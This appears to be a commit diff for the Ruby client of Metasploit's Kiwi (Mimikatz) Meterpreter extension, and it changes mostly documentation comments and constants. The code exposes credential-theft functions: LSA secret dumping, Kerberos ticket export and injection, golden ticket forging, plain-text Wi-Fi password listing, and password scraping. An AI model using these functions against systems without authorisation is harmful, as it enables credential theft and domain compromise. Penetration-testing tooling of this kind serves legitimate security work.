@@ -39,7 +39,7 @@ class Kiwi < Extension
39
39
# dumped kerberos tickets. The order of these is important. Each
40
40
# of them was pulled from the Mimikatz 2.0 source base.
41
41
#
42
- @@kerberos_flags = [
42
+ KERBEROS_FLAGS = [
43
43
"NAME CANONICALIZE" ,
44
44
"<unknown>" ,
45
45
"OK AS DELEGATE" ,
@@ -56,11 +56,12 @@ class Kiwi < Extension
56
56
"FORWARDED" ,
57
57
"FORWARDABLE" ,
58
58
"RESERVED"
59
- ]
59
+ ] . map ( & :freeze ) . freeze
60
60
61
61
#
62
62
# Typical extension initialization routine.
63
63
#
64
+ # @param client (see Extension#initialize)
64
65
def initialize ( client )
65
66
super ( client , 'kiwi' )
66
67
@@ -76,8 +77,7 @@ def initialize(client)
76
77
#
77
78
# Dump the LSA secrets from the target machine.
78
79
#
79
- # Returns [Hash]
80
- #
80
+ # @return [Hash<Symbol,Object>]
81
81
def lsa_dump
82
82
request = Packet . create_request ( 'kiwi_lsa_dump_secrets' )
83
83
@@ -129,17 +129,15 @@ def lsa_dump
129
129
# Convert a flag set to a list of string representations for the bit flags
130
130
# that are set.
131
131
#
132
- # @param flags [Integer] - Integer bitmask of Kerberos token flags.
133
- #
134
- # Returns [String]
132
+ # @param flags [Fixnum] Integer bitmask of Kerberos token flags.
135
133
#
134
+ # @return [Array<String>] Names of all set flags in +flags+. See
135
+ # {KERBEROS_FLAGS}
136
136
def to_kerberos_flag_list ( flags )
137
137
flags = flags >> 16
138
138
results = [ ]
139
139
140
- @@kerberos_flags . each_with_index do |item , idx |
141
- mask = 1 << idx
142
-
140
+ KERBEROS_FLAGS . each_with_index do |item , idx |
143
141
if ( flags & ( 1 << idx ) ) != 0
144
142
results << item
145
143
end
@@ -151,9 +149,9 @@ def to_kerberos_flag_list(flags)
151
149
#
152
150
# List available kerberos tickets.
153
151
#
154
- # @param export [Bool] - Set to +true+ to export the content of each ticket
152
+ # @param export [Bool] Set to +true+ to export the content of each ticket
155
153
#
156
- # Returns [Array[ Hash] ]
154
+ # @return [Array< Hash> ]
157
155
#
158
156
def kerberos_ticket_list ( export )
159
157
export ||= false
@@ -184,9 +182,9 @@ def kerberos_ticket_list(export)
184
182
#
185
183
# Use the given ticket in the current session.
186
184
#
187
- # @param icket [Array[Byte]] - Content of the Kerberos ticket to use.
185
+ # @param ticket [String] Content of the Kerberos ticket to use.
188
186
#
189
- # Returns [Bool ]
187
+ # @return [void ]
190
188
#
191
189
def kerberos_ticket_use ( ticket )
192
190
request = Packet . create_request ( 'kiwi_kerberos_ticket_use' )
@@ -198,7 +196,7 @@ def kerberos_ticket_use(ticket)
198
196
#
199
197
# Purge any Kerberos tickets that have been added to the current session.
200
198
#
201
- # Returns [Bool ]
199
+ # @return [void ]
202
200
#
203
201
def kerberos_ticket_purge
204
202
request = Packet . create_request ( 'kiwi_kerberos_ticket_purge' )
@@ -209,14 +207,14 @@ def kerberos_ticket_purge
209
207
#
210
208
# Create a new golden kerberos ticket on the target machine and return it.
211
209
#
212
- # @param user [String] - Name of the user to create the ticket for.
213
- # @param domain [String] - Domain name.
214
- # @param sid [String] - SID of the domain.
215
- # @param tgt [String] - The kerberos ticket granting token.
216
- # @param id [Integer] - ID of the user to grant the token for.
217
- # @param group_ids [Array[Integer]] - IDs of the groups to assign to the user
210
+ # @param user [String] Name of the user to create the ticket for.
211
+ # @param domain [String] Domain name.
212
+ # @param sid [String] SID of the domain.
213
+ # @param tgt [String] The kerberos ticket granting token.
214
+ # @param id [Fixnum] ID of the user to grant the token for.
215
+ # @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user
218
216
#
219
- # Returns [Array[Byte] ]
217
+ # @return [String ]
220
218
#
221
219
def golden_ticket_create ( user , domain , sid , tgt , id = 0 , group_ids = [ ] )
222
220
request = Packet . create_request ( 'kiwi_kerberos_golden_ticket_create' )
@@ -231,15 +229,14 @@ def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = [])
231
229
end
232
230
233
231
response = client . send_request ( request )
234
- return response . get_tlv_value ( TLV_TYPE_KIWI_KERB_TKT_RAW )
232
+ return response . get_tlv_value ( TLV_TYPE_KIWI_KERB_TKT_RAW )
235
233
end
236
234
237
235
#
238
236
# List all the wifi interfaces and the profiles associated
239
237
# with them. Also show the raw text passwords for each.
240
238
#
241
- # Returns [Array[Hash]]
242
- #
239
+ # @return [Array<Hash>]
243
240
def wifi_list
244
241
request = Packet . create_request ( 'kiwi_wifi_profile_list' )
245
242
@@ -278,10 +275,9 @@ def wifi_list
278
275
#
279
276
# Scrape passwords from the target machine.
280
277
#
281
- # @param pwd_id - ID of the type credential to scrape.
282
- #
283
- # Returns [Array[Hash]]
278
+ # @param pwd_id [Fixnum] ID of the type credential to scrape.
284
279
#
280
+ # @return [Array<Hash>]
285
281
def scrape_passwords ( pwd_id )
286
282
request = Packet . create_request ( 'kiwi_scrape_passwords' )
287
283
request . add_tlv ( TLV_TYPE_KIWI_PWD_ID , pwd_id )
@@ -306,62 +302,55 @@ def scrape_passwords(pwd_id)
306
302
#
307
303
# Scrape all passwords from the target machine.
308
304
#
309
- # Returns [Array[Hash]]
310
- #
305
+ # @return (see #scrape_passwords)
311
306
def all_pass
312
307
scrape_passwords ( PWD_ID_SEK_ALLPASS )
313
308
end
314
309
315
310
#
316
311
# Scrape wdigest credentials from the target machine.
317
312
#
318
- # Returns [Array[Hash]]
319
- #
313
+ # @return (see #scrape_passwords)
320
314
def wdigest
321
315
scrape_passwords ( PWD_ID_SEK_WDIGEST )
322
316
end
323
317
324
318
#
325
319
# Scrape msv credentials from the target machine.
326
320
#
327
- # Returns [Array[Hash]]
328
- #
321
+ # @return (see #scrape_passwords)
329
322
def msv
330
323
scrape_passwords ( PWD_ID_SEK_MSV )
331
324
end
332
325
333
326
#
334
327
# Scrape LiveSSP credentials from the target machine.
335
328
#
336
- # Returns [Array[Hash]]
337
- #
329
+ # @return (see #scrape_passwords)
338
330
def livessp
339
331
scrape_passwords ( PWD_ID_SEK_LIVESSP )
340
332
end
341
333
342
334
#
343
335
# Scrape SSP credentials from the target machine.
344
336
#
345
- # Returns [Array[Hash]]
346
- #
337
+ # @return (see #scrape_passwords)
347
338
def ssp
348
339
scrape_passwords ( PWD_ID_SEK_SSP )
349
340
end
350
341
351
342
#
352
343
# Scrape TSPKG credentials from the target machine.
353
344
#
354
- # Returns [Array[Hash]]
355
- #
345
+ # @return (see #scrape_passwords)
356
346
def tspkg
357
347
scrape_passwords ( PWD_ID_SEK_TSPKG )
358
348
end
359
349
360
350
#
361
351
# Scrape Kerberos credentials from the target machine.
362
352
#
363
- # Returns [Array[Hash]]
364
- #
353
+ # @return (see #scrape_passwords)
365
354
def kerberos
366
355
scrape_passwords ( PWD_ID_SEK_KERBEROS )
367
356
end
0 commit comments